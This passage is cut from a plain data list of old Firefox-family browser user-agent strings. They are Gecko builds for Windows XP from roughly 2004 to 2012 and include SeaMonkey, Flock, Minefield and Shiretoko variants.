Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0 Wyzo/0.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0.0.6 Flock/0.9.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.11  SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.11 SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070809 Sylera/3.0.18 SeaMonkey/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6; .NET CLR 2.0.50727) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20071013 Firefox/2.0.0.7 Flock/0.9.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7pre) Gecko/20070901 BonEcho/2.0.0.7pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071018 Firefox/2.0.0.8 Flock/1.0RC3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071012 BonEcho/2.0.0.8pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071012 lolifox/0.3.6 Firefox/2.0.0.7 compatible\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.6 MEGAUPLOAD 2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060713 lolifox/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 SeaMonkey/1.1a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a1) Gecko/20040520\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3) Gecko/20040817\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a4) Gecko/20040927\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050217\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050910 SeaMonkey/1.0a\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051021 Flock/0.4 Firefox/1.0+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051103 Flock/0.4 Firefox/1.0+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008032619 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070913 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008071523 Firefox/3.0.1 Flock/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042523 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042815 Firefox/3.0.10 Wyzo/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009051221 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.9 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 MEGAUPLOAD 1.0  (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.19 Flock/2.5.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2) Gecko/2008083108 Firefox/3.0.2 Flock/2.0b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2pre) Gecko/2008071405 GranParadiso/3.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.2pre) Gecko/2008072405 GranParadiso/3.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 FirePHP/0.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008100719 Firefox/3.0.3 Flock/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008101315 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0.0.11;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008112016 Firefox/3.0.4 Flock/2.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008101305 GranParadiso/3.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008102405 GranParadiso/3.0.4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 (.NET CLR 1.1.4322)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2009011615 Firefox/3.0.5 CometBird/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.0.04506.30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009022300 Firefox/3.0.6 Orca/1.1 build 1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009030821 Firefox/3.0.7 Orca/1.1 build 2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009032519 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 AskTbARS/3.9.1.14019 Firefox/3.0.8 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.3;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.4;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.1.4322)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.0.04506.648)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/20090418 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009042809 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/2.0.0.14;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko K-Meleon/1.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/2.0.0.14;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/2.0.0.4;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.1) Gecko/20090721 Firefox/3.5.1 Lunascape/5.1.3.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100722 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) Gecko/20100821 Firefox/3.5.11 Lunascape/6.3.1.22729\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11pre) Gecko/20100508 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11pre) Gecko/20100515 SeaMonkey/2.0.6pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.13) Gecko/20100914 Mnenhy/0.8.3 SeaMonkey/2.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.17pre) Gecko/20101211 SeaMonkey/2.0.12pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18) Gecko/20110320 Lightning/1.0b1 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.19) Gecko/20110420 Firefox/3.5.19 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090805 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090805 Shiretoko/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2pre) Gecko/20090723 SeaMonkey/2.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5pre) Gecko/20091016 Shiretoko/3.5.5pre GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091206 Firefox/2.0.0.20 SeaMonkey/2.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20100121 Firefox/3.5.6 Wyzo/3.5.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 (KHTML, like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 KHTML/4.3.2 (like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 AppleWebKit/531.21.8 KHTML/4.3.5 (like Gecko) Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Flock/2.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Prism/1.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100223 Firefox/3.5.8 Lunascape/6.1.0.20995\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/2.0.0.14;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008062005 Minefield/3.1a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008071003 Minefield/3.1a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008071603 Firefox Minefield/3.1a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080904053130 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080913185648 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080920085411 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080926033937 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080927033433 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20080930093007 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b1pre) Gecko/20081001 Minefield/3.1b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2) Gecko/20081201 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081020 Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081026 Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081031 Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081117 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081201 Minefield/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081209 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081212 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081218 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081221 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081228 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090102 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090113 